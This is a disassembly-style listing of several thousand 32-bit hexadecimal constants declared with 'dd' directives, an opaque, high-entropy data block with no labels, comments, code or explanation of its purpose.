		dd 50A420FAh, 96E8131Ah, 18E45B2Bh, 0A4F84417h,	0B1A6080h
		dd 5D245B4Bh, 5758304Ah, 0C43C5156h, 0F84F0AD4h, 4B330A41h
		dd 60385344h, 167931E5h, 891E4103h, 0A5384657h,	401C1429h
		dd 40F41Dh, 512F7905h, 50497F46h, 0F88C332Ah, 5C5B8B0Fh
		dd 9C2AD30Dh, 303800EBh, 24293C70h, 3437006Fh, 580D1D2Bh
		dd 61009033h, 55824B57h, 26790917h, 0A800564Ch,	2887F1F9h
		dd 0B95B41D7h, 46A0982Eh, 33191E94h, 4D5A811Ch,	571E4066h
		dd 0A8034212h, 0C4448FFAh, 6C4120CDh, 51F03B41h, 0D7EC905Ah
		dd 0C358FC50h, 4F05171Bh, 0EB04A291h, 462B4FA0h, 578B4503h
		dd 9971F758h, 0B22A3848h, 5864DF98h, 50060816h,	78085E86h
		dd 4335264Bh, 3C570FD0h, 385206DEh, 4A264088h, 0F700C092h
		dd 4B455090h, 53611D3Dh, 0E10354Ch, 3623F28Ch, 6A165581h
		dd 70045B86h, 0FCC35C7Eh, 4704C144h, 3151A020h,	4B109140h
		dd 3D608985h, 58AC0C86h, 4A44F25Ch, 60D8AC82h, 8C500440h
		dd 0DE38E85Dh, 253E1EC8h, 60B5D456h, 0A09426FBh, 564A4D25h
		dd 0A5FE7DD0h, 0B7483AF8h, 0D43D5D78h, 60930580h, 8058F748h
		dd 12CF60h, 3C4F4969h, 595B3B3Dh, 0AED2B849h, 983EB03Ch
		dd 46531D1Ch, 1541291h,	390456E8h, 900BF396h, 0B4C5C8Ch
		dd 0E470FE7Ch, 0BF0CF616h, 493B4FB0h, 7FC43A59h, 0D1908B79h
		dd 0C7E48259h, 99B94B3Dh, 98607E0Ch, 0F98D724Ch, 43DA82F9h
		dd 0F828A6D8h, 0C44D5890h, 3D1C0692h, 5B2C0949h, 0E429C453h
		dd 9050994Fh, 1727C064h, 1D4B4EF5h, 9246C920h, 693C1086h
		dd 48F88CF8h, 5B5C4374h, 4A538520h, 3C212C2Dh, 5D40E2F2h
		dd 3049B041h, 58C05E34h, 8C3A045Ah, 4C543E55h, 8005B066h
		dd 48183753h, 0DF943E50h, 0C0AE0C6Fh, 33124478h, 4F84B66Ch
		dd 4C954D01h, 0D140EE4h, 40E81858h, 1C85458h, 824D295Ch
		dd 50685856h, 4D6F00FAh, 5C923F37h, 2ED8B048h, 0BE643456h
		dd 4F82438Eh, 345B40F5h, 0F75047F8h, 432EA75Dh,	0D0CD5A61h
		dd 863F5C20h, 8109CEDFh, 4B44E160h, 4F8C40D0h, 0F33C2456h
		dd 2CE81DD4h, 532D9107h, 87BE86E7h, 52618A45h, 8C70734Bh
		dd 4A7E1740h, 29900350h, 2DA12035h, 50800557h, 0C151854Eh
		dd 4B5C4D21h, 0C45FFA8Fh, 0F380B200h, 0E483C82Dh, 68018D24h
		dd 4635602Ah, 80477E45h, 925D341Ah, 4BECC218h, 34A150FBh
		dd 5789387Ch, 1F9071DFh, 4048DD7Eh, 272608F0h, 2A7D6674h
		dd 86578F3Eh, 4D5093F7h, 4F4A0321h, 3A455A91h, 0C88451A2h
		dd 0D230E13Dh, 0D789E0D9h, 1A80C26Bh, 0E7109738h, 737EC738h
		dd 0E87C2A58h, 28804035h, 240560F0h, 201C8F1Ch,	4C5F0CDCh
		dd 3C208940h, 565C9507h, 244F8038h, 0B8E18B46h,	1D2AE077h
		dd 806051C4h, 4E118C08h, 0BBF8643Dh, 0E33B5483h, 88DDCF38h
		dd 0DC474AF5h, 885FF782h, 0BC3FD8D0h, 545E0250h, 63883A53h
		dd 806CC204h, 4D903880h, 29E11410h, 912AB04Bh, 603D6EF0h
		dd 0A8288C64h, 2873DF28h, 204EEB44h, 90525CE9h,	12DC5358h
		dd 60D6E920h, 618F1630h, 0E8D48D10h, 89484754h,	0F4382944h
		dd 7A6432A5h, 209148F0h
		dd 46300F4Eh, 91517287h, 9A49924Bh, 0FC069E8h, 516F7EF0h
		dd 90D67FB4h, 913D09B4h, 0DC87455Fh, 8B409044h,	600FE44Dh
		dd 0C0B172E1h, 0F90EF5A2h, 7AB8F022h, 5DD30D9h,	3CA57310h
		dd 0AFC19E07h, 0C272A00Ah, 0D4C05FDEh, 6B27264Ah, 80DC54A2h
		dd 350190D5h, 9DE2A82Ah, 88211331h, 80D7A25Eh, 7522F8h
		dd 0CDC9F82h, 43F0D4EBh, 0DA5A3C00h, 22F7EF09h,	0EE5905E8h
		dd 389C3B6Ch, 0D9468E20h, 4D18D83Ch, 65F7B00Ah,	5680DD54h
		dd 99180F77h, 61C82E05h, 3608C0ECh, 0EFEE7DA8h,	6B70C8C2h
		dd 94C37506h, 0B322D0DEh, 0F1910925h, 0A1D59468h, 0F75C1CC8h
		dd 48A570FDh, 0A94068FCh, 97955085h, 78EE80D0h,	1C674029h
		dd 0A029F590h, 737200D0h, 0DD09A539h, 40BC1B00h, 0AA7D502Fh
		dd 0EE3F0607h, 0B9E5624Bh, 1A99DD14h, 0EDC51194h, 9FE03F77h
		dd 7C4ADCEh, 383049E5h,	99DD6212h, 0FE1DBA34h, 22E1C99h
		dd 0CF68908Fh, 0F3078C92h, 73F7E68Ch, 0BE8CB0AAh, 973130h
		dd 0E6E96C13h, 48E0932Dh, 0B9A2F1Eh, 15C0821Ch,	2A6711D5h
		dd 0EA519A6h, 814478EDh, 2CE452A8h, 0B19FEC05h,	7C9A0008h
		dd 20FB6171h, 8296933h,	2F210003h, 0BEDF9A3Ch, 0C007F0Fh
		dd 835E4F87h, 907A15A1h, 63700A3Ch, 3BCF7FEh, 0F6FA7DA5h
		dd 0D9E47041h, 0ED5D10F0h, 903C9358h, 966F0CEAh, 901CD9D5h
		dd 93DA7138h, 5F51CE58h, 622CA4h, 0FAA2EBBAh, 31B8E722h
		dd 5246755Ch, 0AA5E064Ch, 6E40EB45h, 0F2CE71h, 73DD6038h
		dd 1F50677Ah, 7430F708h, 0B9FE39DCh, 0E4709DF9h, 1B6254AFh
		dd 936D3094h, 60E2A20h,	0C565A8A7h, 1DFC3853h, 0D9CC3918h
		dd 75F581h, 69603EABh, 6156E90Ch, 21EC08CCh, 0AB6E0216h
		dd 0A71A98DBh, 1E2C482h, 1CCF9F04h, 7E24A684h, 0B824A610h
		dd 0DDD21508h, 6A08C4EEh, 6940258Bh, 7E7E6BD4h,	0A1E6254Bh
		dd 0E08294F4h, 68265BABh, 4E6F18h, 96CFB065h, 217C674Dh
		dd 0FCCB7E25h, 584B60BCh, 99251107h, 4A6CFC63h,	802B117Ch
		dd 717B9A43h, 4448C59h,	9A3B002Eh, 2485F68Ah, 8979D2F1h
		dd 0AC993206h, 0F0C0EDD5h, 0DBE4803Dh, 3854BA52h, 3E05F373h
		dd 65E83A23h, 0D74F5020h, 9AD07C6Dh, 30050F18h,	224E41E0h
		dd 1B66EC63h, 21FA0830h, 0E0E02826h, 0A9FF0CB5h, 11D00471h
		dd 2D73A212h, 38E070FEh, 0EA30936Eh, 0E776881Ah, 0D3E51FB5h
		dd 525B06B7h, 45091804h, 8EBAE85h, 5F435C10h, 7879CED0h
		dd 803300A2h, 0FEBA9E71h, 0AA7FE64Ah, 9C8290AAh, 34002C27h
		dd 9551085h, 71F7D967h,	0D3E46010h, 8CF4BA1Ah, 38C45F10h
		dd 24A8A7F8h, 3740E372h, 60B27A5Eh, 6A75C818h, 18C457C7h
		dd 0A8902CBDh, 11D6431h, 3E028FFBh, 8056F385h, 10E43AA8h
		dd 0F525B1FAh, 1473020h, 33DCA6E3h, 41668176h, 13BEBD8h
		dd 4CD61D3Fh, 0AB7704B4h, 62796040h, 701820EFh,	0B0023BABh
		dd 5DB3CC89h, 0C6444079h, 0A03456EAh, 3B346824h, 9A3E02C6h
		dd 31317176h, 367017FEh, 18799C9Ah, 0E925BFACh,	0AA00697Fh
		dd 1C9913DBh, 28854696h, 0D8EA8Ah, 0C239C04Dh, 0F5B25FBEh
		dd 0E7980750h, 0BD30B0A6h, 57B54924h, 0E6AE0E2Ch, 0F6CF34BCh
		dd 8C643E24h, 0C600A718h, 4A44E1E5h, 24BF0C58h,	8870D60Fh
		dd 8E033537h, 0C5E001F7h, 45462882h, 3A62821Ch,	0E500DFCDh
		dd 1953E7h, 49781A0Dh, 0EA9E0761h, 1C2E8E02h, 40DE7A3Dh
		dd 2F9D4Bh, 42BC17C9h, 0AE088860h, 19C2BDF2h, 2B200Fh
		dd 8927F97Ah, 3E287B00h, 9CD017A9h, 0B2AE00BDh,	4BAA53C3h
		dd 7A0CEC44h, 2986267Bh, 1D67AA2h, 4DD70B99h, 98BF0342h
		dd 0C5219708h, 3DEC01CEh, 44B08AC2h, 9018B182h,	41004F1Ch
		dd 0A9C047AEh, 62088B85h, 81A42846h, 4DC30088h,	8A382091h
		dd 7102BFB2h, 0DFF9AB2Eh, 8770AF79h, 83429B63h,	0ACFD3094h
		dd 18FA574Ch, 0A3C84B81h, 444A0C8Ch, 82A0896Ah,	5111EA00h
		dd 8E6356D5h, 4AD8009Fh, 2FCBBF5Fh, 0C9C08B27h,	130977Dh
		dd 8396007Ch, 0AE03DC68h, 68C0854Bh, 11D182A8h,	5EE1C042h
		dd 0C7873DE0h, 2D9EF603h, 0A39FC6BFh, 8421005Ah, 4A2B3DD8h
		dd 5B00CE8Ah, 21ED7C4Eh, 60FF9237h, 8E7B982Eh, 0D0249BFh
		dd 840804D9h, 0C298805Bh, 355F538h, 52F41CE3h, 82C8DFFEh
		dd 7150D230h, 83F7119Ch, 0CF2BB69h, 0DB6A023h, 1425009Fh
		dd 0EB78505Ah, 21F584Eh, 0C3852B62h, 0F03EB573h, 8A009D23h
		dd 4B733CB8h, 0C6A602BBh, 5CF43FC9h, 0C7B60600h, 533D808Ch
		dd 0DBC60415h, 77D7CDCh, 0E1282960h, 0E04906B4h, 9FC9C332h
		dd 69009427h, 19BAA65Fh, 177362CCh, 0CE2B1h, 0AACD60DDh
		dd 0E37E2D64h, 6E19E603h, 785C038h, 0F23A9139h,	0CC44A73Dh
		dd 0AE3E0468h, 0A4806133h, 80594B0Dh, 607E10E0h, 0F27806Eh
		dd 0B18FBE9h, 3F38C5FCh, 0C8388289h, 5724CBB4h,	0EA002C8Bh
		dd 9672370h, 871A14FBh,	0A8C2CC81h, 504C0828h, 490D4D3Eh
		dd 0F0FC0144h, 4E519AF1h, 37639441h, 7D0424h, 5EBD7710h
		dd 0E1D9DCAEh, 0AD1F0E7Ah, 0DA0C997Ah, 5484C0B2h, 8C7FE04Ah
		dd 9D11DA7Ah, 9A88F70Bh, 0ECD2C987h, 0FFC36BB0h, 0F43B048Eh
		dd 98B93CEBh, 10E881CCh, 2566620h, 0E97EA721h, 1847FAB7h
		dd 0D0609C44h, 0C47A47D4h, 0B2119402h, 90A487DBh, 805782C0h
		dd 0CF34FBB3h, 0A464D87Bh, 8AD7ED81h, 6911884h,	0C998882Ch
		dd 3DB07C56h, 0DD796027h, 11E23C1h, 0B29C18D9h,	40DBA9D4h
		dd 44AB8AB4h, 12C72880h, 214A7017h, 91861F14h, 30018F49h
		dd 6B17B34Fh, 0DDDCC067h, 5872BE09h, 6D5C1948h,	8CCB0830h
		dd 883DDA3Eh, 649FC6C7h, 0D27E4059h, 40273Eh, 0E8F4098Ah
		dd 0CB38341Ch, 0B8321DFh, 13F7608h, 0EBA79060h,	2633B7ECh
		dd 64B524FCh, 0FD6C0261h, 29E5E081h, 247E6A8Eh,	81009B34h
		dd 6D03DB01h, 0CCFC8662h, 0BB219109h, 5BE7940h,	0E81FC79Dh
		dd 49885E43h, 0DC109807h, 5802A24h, 17CA0920h, 0E8943E10h
		dd 380D820Ch, 39DEB9D6h, 1589EA58h, 0AC053B31h,	37EC606Eh
		dd 0E0AC54FDh, 3DC9E5Ch, 6B394E24h, 6D0058Ah, 49FF3E6h
		dd 193C9C44h, 861893E8h, 329A7B0h, 0C0407495h, 2919017Eh
		dd 80F0A699h, 516DCFE5h, 70026E13h, 0DC26FFC0h,	416B3159h
		dd 142608Ch, 0F8CCD0E3h, 3E21053Ah, 85C2438h, 4BCE8F48h
		dd 751C0501h, 208F4822h, 0C8017ABCh, 0C71580ACh, 0C05C3Fh
		dd 1B2DAAE1h, 60F28F6h,	3BC603E3h, 373929B2h, 13DC4024h
		dd 300E4D89h, 9AD5F72Ch, 507B7D31h, 29A43D20h, 3247161Ch
		dd 0D8317DECh, 460B9BE8h, 9622E7h, 93ECD0C7h, 4B8D3802h
		dd 4D70A760h, 0D8295506h, 8F84C878h, 0D0A058h, 36A4C06Ch
		dd 1293CB97h, 2062D53Eh, 459948DCh, 9AB2D603h, 0DEA97FA6h
		dd 21426008h, 3545916Bh, 85199D00h, 6A8358F6h, 14E1C58Dh
		dd 49F4C179h, 51D4ECF0h, 638C1C00h, 0C0EB849Fh,	0BF670070h
		dd 6156B56Bh, 931EDA83h, 88700C3Fh, 883C0491h, 0B8924D11h
		dd 9603ED78h, 0D363F758h, 928798B8h, 764928AEh,	2060B0ECh
		dd 7A3A536Ch, 90A1A0BEh, 47102120h, 3A95B08h, 28E580EFh
		dd 0CCEDA26h, 843DDDC0h, 9EDE21C7h, 81005791h, 66E73DD5h
		dd 8C1CBE53h, 7A0BAB5Fh, 0BF90A050h, 0B03FE059h, 0B1987B70h
		dd 9ACB08B8h, 45B01886h, 57E61019h, 3E1056A8h, 311F31AEh
		dd 0F42042C9h, 0C197406Bh, 31583F10h, 47837B3Ch, 484A3805h
		dd 0B2288003h, 0C7CCB9Bh
		dd 45FA3338h, 0C313B1B8h, 0D00096BBh, 0FDF2180Fh, 1A8B0A6h
		dd 0ACD2DE12h, 8085A3FBh, 40EF8220h, 0A732D58Eh, 63E11F20h
		dd 770DAA01h, 18601EB2h, 0FEB40152h, 8CCF093Ch,	8128299Ah
		dd 6902300Bh, 79FF9000h, 6FBC4307h, 0D8DD9437h,	8F009473h
		dd 49D234E8h, 88607DBh,	480C1747h, 8043BE40h, 46F49878h
		dd 3DDC02CDh, 0B1D6C783h, 80105BE8h, 12003DD4h,	0BCD5AECEh
		dd 1C4E75BBh, 90B9E45h,	0E4905EC6h, 4D588C09h, 8C98ECE8h
		dd 856B713Bh, 0A393D3B4h, 0F046AC90h, 29166F3Eh, 45B20803h
		dd 0D880702Eh, 3E393008h, 93C5DE09h, 8827DC04h,	0E60034F8h
		dd 2A625B2Eh, 9ED7AAh, 0C073C1A1h, 9252D848h, 2794471Dh
		dd 0F1873130h, 2C530399h, 8693139Fh, 48ED37F8h,	50FA763Bh
		dd 3A03BDB4h, 0BE384B82h, 0B393B88h, 84416A94h,	1A0861A7h
		dd 0AB188547h, 188186B6h, 39A4AFC3h, 2028DE60h,	5840BC84h
		dd 9DC310EFh, 2983378Dh, 0D7E6FE31h, 430442F2h,	21718218h
		dd 8455F537h, 0A0945920h, 11226122h, 0F8FCA053h, 0E42C21h
		dd 5126B31Bh, 49736072h, 0E8C90400h, 4EBE7E4Bh,	22B890C0h
		dd 37254AECh, 3C8020C2h, 4871F5CFh, 0D71B70F0h,	613D91A7h
		dd 8F4C804Dh, 0B4E15DCAh, 4C797E11h, 2B3AC82Dh,	52063040h
		dd 29700805h, 0A1009261h, 0EE27FF8h, 633680B8h,	888EC388h
		dd 31C3826Bh, 0F86F55F7h, 0B3BFCEC4h, 7FE3D8Ch,	80831A1Ch
		dd 228401EAh, 0A2407366h, 5E2C3095h, 0D997DE05h, 5C81E08Ch
		dd 0D8224E74h, 2103787h, 0D852791Ah, 63DAE880h,	0E3D3B380h
		dd 0EA08F82Ch, 2C01297Eh, 781FCB72h, 7804E034h,	9180A8C6h
		dd 5210140Dh, 0A66E2846h, 1D07CBE5h, 0DB328918h, 0DC58008Ch
		dd 0C98FCA0Bh, 6178047Bh, 6A038E40h, 660116B0h,	78C3B6AFh
		dd 0B02C4D7Eh, 0F8C9FE8h, 977C5223h, 46C95D00h,	7B0CFBF9h
		dd 0B8A0EBE5h, 0DCCC9C8Eh, 5D3730Fh, 7C180223h,	0C4A4E72Fh
		dd 33E46093h, 21030929h, 4C2E3263h, 89F70C20h, 0D00049F8h
		dd 394DB7C8h, 9C18375h,	47118746h, 7D536020h, 310950D9h
		dd 83569A20h, 1BA9E3ACh, 0E0419249h, 48EA87A7h,	11B80214h
		dd 81058634h, 13420A10h, 88200EDCh, 5057B834h, 0D909A602h
		dd 9C5105DAh, 0CEEFCEEh, 2F309E3Dh, 488A753h, 0C78628EBh
		dd 2914690h, 3DE0184h, 0ECE785h, 0AF017CBEh, 754DF9B8h
		dd 0B0C1131Ch, 59667831h, 45F42701h, 0E34C845Ch, 28430B04h
		dd 40E802DEh, 0B2B71058h, 0D4352780h, 1E156051h, 32C22860h
		dd 20A03E24h, 8467BD86h, 0D8B2609Eh, 1833090h, 7D03DD12h
		dd 0BD00A08Bh, 2EDC017Bh, 1F1267D1h, 20263260h,	97ACA050h
		dd 9E30A098h, 8A5B28E6h, 7A350208h, 93A33119h, 1879E069h
		dd 2497F4D4h, 7060C70Bh, 0EC01CCC3h, 0E8E17DBCh, 820223Dh
		dd 278F4048h, 3C007099h, 2E3B7B5h, 28B272CBh, 0ACF49A37h
		dd 40114E18h, 25245400h, 53C87B4h, 74E0673h, 4F02A98h
		dd 52FD38CDh, 18E881D4h, 33E80043h, 0ABE204CAh,	0C858A630h
		dd 88546B1Ch, 3B00F994h, 32AA91D7h, 0C3CAA8h, 0FEFB22DFh
		dd 0E4DD06B3h, 3BA42902h, 0A0A920B7h, 0E01F47C4h, 0B1A8AC39h
		dd 18557134h, 75A50778h, 19FBB4D8h, 0FC9110E0h,	0E1132C91h
		dd 4BC3E006h, 0D1D49160h, 371896h, 0CE6CC55Bh, 0E2803C1Ah
		dd 3F98D162h, 0DC34C9E8h, 0FB70F047h, 0AC249018h, 8428C4D4h
		dd 81CB0B2Dh, 4A892B58h, 3821D05Ch, 38897AC2h, 0A0D8C3h
		dd 0BFE603E2h, 0BC03AB4Ah, 52E700Fh, 94F3B671h,	0ABD00082h
		dd 0D14B1918h, 0AA00E97Eh, 2B2095EEh, 6055A0E0h, 0F5FA1856h
		dd 50166BEh, 0AE3AF25h,	0FBD0B2B3h, 3E9AF824h, 9C1C8FCEh
		dd 0DDD81D8h, 8EB5B30Bh, 0CCA0B821h, 7BA4934h, 2B1DE458h
		dd 1173B030h, 853B2F40h, 78F0B0AAh, 40F5A03Ah, 2578652Dh
		dd 0AA89B106h, 20EFADh,	70DE168h, 31E533E3h, 85FB90C0h
		dd 0FF91CBh, 0B4F48B1Dh, 6E9E4F5h, 0F20069F8h, 44CCA2FEh
		dd 0C192966h, 0B30D4DE3h, 3D00CFA1h, 37387FBFh,	66302920h
		dd 21C70827h, 0BF35F100h, 0C4C81E04h, 0E9995F21h, 816A00CAh
		dd 6B89CC0Eh, 5DE42Ah, 0F248A4AFh, 32C1858Dh, 8B06221Dh
		dd 604C8F4h, 50003115h,	3D5496BAh, 6AF9291Ch, 0DF816601h
		dd 0E995637h, 8F124609h, 4354B52Ch, 0FE801h, 2736CA7Dh
		dd 3203F91Bh, 0E979E07Fh, 0C25D840Ch, 406D6812h, 0FF3A5F21h
		dd 250D1DB5h, 0E85618E0h, 5E204903h, 894FC372h,	16FB33EBh
		dd 56462100h, 50BA26C3h, 902000BFh, 95FF41B0h, 60C11321h
		dd 4E1BD89h, 1AE90C8Eh,	0CA813838h, 0D5F02B00h,	0ABB96624h
		dd 0C08B03F4h, 3079B589h, 0BD832E06h, 0E00C08DDh, 12096275h
		dd 74200A21h, 0C3535019h, 7D2B838h, 85895A06h, 7241B39h
		dd 0BFC99D8Dh, 0D3FF6024h, 22AC585Bh, 200F1741h, 63BC467Dh
		dd 10022BAEh, 661D99D8h, 0C050E882h, 0EE903D82h, 0EB7D6C86h
		dd 0C75FCF07h, 2C0CF585h, 8927C101h, 8110A99Dh,	0E7B86814h
		dd 0C641CEE4h, 7F871AC9h, 683AF185h, 0FD9AD018h, 96618A14h
		dd 50DA430Fh, 121F0E11h, 80656832h, 319C488h, 0A75C00Bh
		dd 26818C11h, 0DBD46880h, 40AFC005h, 821691Fh, 36B101AFh
		dd 2B8533A9h, 0E030D95h, 8B66743Ah, 1145B3D8h, 920A704h
		dd 50388366h, 46015109h, 0F1566204h, 7C250709h,	0F8588317h
		dd 28356E34h, 826CA1Bh,	6C281EE9h, 5B1C5346h, 5C8988C3h
		dd 434315C4h, 7FE8C353h, 0D5548D29h, 960E9F4h, 9FF57921h
		dd 3A970002h, 80504CF9h, 0A39271BDh, 84320FE0h,	80E82D2Fh
		dd 3F78451Bh, 57F70002h, 8B402530h, 1964B9BDh, 4E81595Eh
		dd 2252121Bh, 0BA532018h, 0D614A06Ah, 28C55F09h, 706F4A61h
		dd 998D6727h, 19E1069h,	850F8804h, 314B9760h, 0A42D958Dh
		dd 0B53B67E3h, 90A5B489h, 8E95048h, 933E31C0h, 13764B01h
		dd 13051E6Eh, 0AC970534h, 4AC5992h, 20F9208Bh, 15D60282h
		dd 65AA0C1Fh, 0F28163C0h, 9A47C23h, 60FF6A6Dh, 93FD0380h
		dd 88906926h, 61E1D554h, 654C2990h, 8C18FC4Ah, 0B445D805h
		dd 0B2054A34h, 4E040E69h, 0E9091C35h, 50E0D590h, 0E6E88300h
		dd 0F987A1A9h, 7AB21057h, 747624ADh, 0E106FDA8h, 0DFB15022h
		dd 0B761554Ah, 37D9CD20h, 4F0AAADh, 0F6800402h,	3C83CE93h
		dd 660DF543h, 1E0D18Bh,	0D78E0F14h, 0FF1C8B6Bh,	70C56730h
		dd 0B520AA93h, 0AF146129h, 60BB2515h, 86FB9A82h, 83DD925Bh
		dd 561A3C5Bh, 5713E89Bh, 15BA2DF0h, 5B8BAC00h, 0C95E453Ah
		dd 0F4E1017Dh, 5F12DCABh, 55092060h, 50595FC4h,	0B4D93083h
		dd 30926010h, 74AEC77Dh, 71642F12h, 8AF02130h, 0CCAA018Dh
		dd 59E4CD65h, 0E96948FCh, 0DF2B1260h, 0B8A735F3h, 641D0759h
		dd 0B0CAAD6Fh, 0F81A3066h, 0F429DC33h, 0D7B5014h, 59398C51h
		dd 4C8911C3h, 41801788h, 99A6C351h, 0FC214FBh, 0CB401D81h
		dd 0D09CA1F8h, 6D9D3117h, 9882528h, 0A2262378h,	2B703016h
		dd 8E5DA57h, 460ECD8Dh,	0F7D610Ch, 0BF4C0450h, 9A6E3232h
		dd 0D6E62FC3h, 55468650h, 88C35D1Ch, 1BC46C89h,	0C3554540h
		dd 65030E18h, 620F16E7h, 917814C1h, 8BA1EA26h, 0F55649FBh
		dd 102C94C5h, 0C257C882h, 4D61C35Fh, 80CA237Ch,	34C35747h
		dd 3298B4D6h, 342ADED0h, 1A7D08h, 0B5296050h, 0F8801631h
		dd 8A969361h, 494DFABFh, 367EAF18h, 3D62F300h, 24C526D3h
		dd 0E9851029h, 109B4927h
		dd 0F9320519h, 562C9282h, 14CE90C8h, 391653B9h,	1B2C9191h
		dd 1830536Eh, 0F1812504h, 0C84A1921h, 14A15831h, 1F7D3D81h
		dd 0F5BFDB81h, 586D6E6Fh, 27420530h, 0D7C98083h, 2B081E35h
		dd 4BF2E500h, 410468F0h, 62128201h, 0C0097088h,	0B121E155h
		dd 29808D0h, 7097B029h,	0DCD1FE00h, 274A2B0h, 0AC6505C3h
		dd 44C14EBBh, 6F61CA34h, 9C408812h, 3F119103h, 789780D4h
		dd 22F0EB41h, 4C30065h,	0A6C17A5Eh, 50016259h, 7F9F781h
		dd 0D0840E10h, 9E220111h, 0E29C819Bh, 0A20F5CFh, 850F408Dh
		dd 32E7C075h, 104C483Bh, 0C34C1A51h, 103385A1h,	8214DCE9h
		dd 18114517h, 4A5A8D80h, 6014A848h, 483F8A0Fh, 618970DFh
		dd 4CC8BC62h, 0B0BE88Ch, 405A0063h, 0A327CEC4h,	4D074182h
		dd 90D28057h, 15B84DBh,	86250A1h, 8AA643C8h, 1D4674h, 47190CC9h
		dd 142C0558h, 0F53E7308h, 0A023510h, 9349E9FCh,	3D07B1BAh
		dd 0FBF8A53Ch, 0AB593E11h, 0FC190C33h, 4F203C24h, 564AE761h
		dd 45561567h, 87F1B66Fh, 8922C358h, 0D86744h, 3EC35040h
		dd 89E2D523h, 2A31BD12h, 0B826A750h, 0D30F8C18h, 0C054AA65h
		dd 64739AB9h, 8DAA502h,	81804984h, 0ABE34AC1h, 28BCB016h
		dd 246A30FDh, 42F203BEh, 0D7090F49h, 4D9979D2h,	0F1181AD1h
		dd 0ED783300h, 296CB9C5h, 13E94EBDh, 0AD040413h, 7BA70CF7h
		dd 0FAB7000Fh, 5D14E281h, 503227F1h, 2AF622F5h,	19467475h
		dd 0C2EE1400h, 0FE39645h, 38118625h, 2AC564h, 83750CE5h
		dd 0B69DB5BFh, 505A4812h, 0CE05F36Fh, 0D152CF79h, 5210D3Ah
		dd 14118504h, 0C15A6104h, 5070127h, 0A6B89287h,	0E07515A4h
		dd 10C48301h, 0BF499529h, 5DC0AA2Bh, 0F4EC9700h, 0F071AD74h
		dd 0FC661388h, 88358F5Fh, 0BFFFED3h, 494B89CFh,	8D0B10A0h
		dd 69A0033Dh, 75F38531h, 45BDD8CEh, 810C0267h, 6FC91069h
		dd 61652472h, 99F03D69h, 181BF17Eh, 5A2701BFh, 0E579947Ch
		dd 5CEA2699h, 3D51571h,	23F62107h, 4CE20DAh, 985C60Ch
		dd 68440033h, 4EA3184Fh, 0B7223496h, 0D88B153Dh, 20C2922Ch
		dd 2A439220h, 74E2EA4Ah, 65DA4C08h, 2BA765EBh, 2110245Bh
		dd 36CEA560h, 5B010503h, 840BF68h, 2EBE06B0h, 3A303195h
		dd 4D8D015Ah, 354B59E5h, 889F8E61h, 9319C116h, 0C583302Ah
		dd 8564204Eh, 1B8808CEh, 0B04E80CFh, 0A2C82E4h,	800F9CFFh
		dd 0A652C65h, 8F822D39h, 1AFD05F8h, 0F7401F2Ch,	9D4E52C2h
		dd 52B1BD3Ch, 542EE607h, 1C74594h, 0E96234DDh, 0A12FA45Ah
		dd 0C51EA509h, 2084885Ch, 0FA04CEACh, 72D38AF3h, 16557C7Fh
		dd 24E9D68Bh, 2D43C0F4h, 517613EAh, 0D704C906h,	41341B32h
		dd 83C01E61h, 2458EFB2h, 1ADECF70h, 0D4404F94h,	0BC9C0A99h
		dd 0A2145471h, 0F91700BFh, 0B843F847h, 98C10074h, 92FA3006h
		dd 380CCA8Ch, 0D9E8DDA3h, 6402B95Ah, 81CB3459h,	8CC01D88h
		dd 2EE70E9h, 5FD8F8A6h,	35610596h, 0E60FC2E5h, 44B31048h
		dd 0D600140Ah, 6DE194C4h, 5B4EF783h, 30220881h,	0EE95906h
		dd 24A8002Dh, 684BD370h, 0AB0B4ACFh, 839FF7DAh,	40C6E92Bh
		dd 4C519AAFh, 18B6816h,	9A16A30Fh, 0FED488FCh, 0ECC7D44Ch
		dd 0E91D40A5h, 7000E6A4h, 0BB07BBDh, 5A596Eh, 3D2D32FEh
		dd 4AE6BB44h, 90628C18h, 0ABA66AAh, 3F687C88h, 45528E4h
		dd 2AAB19C7h, 20A2F149h, 979424F2h, 89F78A89h, 55F16A1Bh
		dd 697EF7F2h, 0B4115C00h, 0F9B1CD60h, 4C7616C9h, 818C6047h
		dd 0C71CC4CAh, 3A655ABEh, 454E419Bh, 18FCD1B2h,	9514FD5Ah
		dd 18432C99h, 683305E9h, 8A9618DAh, 19BDAF73h, 6A783042h
		dd 45C08CAh, 0C98F0FCEh, 405F6C07h, 6954BDD8h, 0B99B5AB1h
		dd 39B5310Eh, 52F201FBh, 0BA5001F5h, 634AB8F8h,	9182F66Ah
		dd 22F33F9h, 48699509h,	0EE0B5615h, 1461B455h, 4D4C1859h
		dd 18B13060h, 0FF6FF68h, 52469E92h, 89C35A1Ch, 1F455489h
		dd 0C3524280h, 0C7C2D0h, 0E1816729h, 3B98ADE6h,	21645A99h
		dd 858B6041h, 0D83B2519h, 0F8C461F8h, 4120275h,	0F61BF9E6h
		dd 16224C83h, 852201C9h, 0B9CD934Bh, 0F00413C1h, 50E9FE24h
		dd 2B2F811Ch, 84FB38h, 3725F1E6h, 52E449Ah, 0A8E34664h
		dd 21B3846Eh, 3DE851F5h, 374000D2h, 0A58143CFh,	0FD90249h
		dd 5F5ACEBFh, 745A4142h, 24B5B624h, 88521944h, 99001B08h
		dd 897D61A6h, 0EC3E81FAh, 0E9271325h, 0D1B3C859h, 1C443790h
		dd 7D8D1329h, 1340D421h, 0C86F8B0Ch, 8E53C01Ah,	0E3015C9Ch
		dd 8D234B7Eh, 9B692C1Dh, 6924B11Bh, 8904F5B4h, 0C614BD80h
		dd 0B102442Ch, 106A5B04h, 0DF805753h, 525FDF45h, 17C8F85Ah
		dd 9559D1A0h, 0BF44665h, 190FE9F9h, 83C9C19Dh, 6086EE59h
		dd 92506D41h, 460AD149h, 1DC262D7h, 4210110Fh, 5D84F80Ch
		dd 888C5D24h, 91E80D1Eh, 20D0010h, 6857FFADh, 0A8D81B1Eh
		dd 3B5D1F40h, 31DCCB88h, 656641B2h, 0B05A0211h,	9D981D5h
		dd 1770796Ch, 0EF104752h, 0DE46C754h, 10853117h, 8225583h
		dd 2B8C0F27h, 3DF58782h, 0E38002C8h, 648F6107h,	0D467275Ah
		dd 0B1601A44h, 8A0DDAA4h, 9B7E60EFh, 15F2FC33h,	4CC2730h
		dd 4FBF6660h, 45E981D7h, 60610210h, 910A5557h, 0C81D4B2Ch
		dd 29801C11h, 0D93C2608h, 14671A0Ah, 651793A8h,	0F3293384h
		dd 26B8322Dh, 25EB9400h, 8A078D69h, 0DB48D2CBh,	6F6580A7h
		dd 5872B164h, 0DD3190F5h, 588068FFh, 314061F4h,	10860FBFh
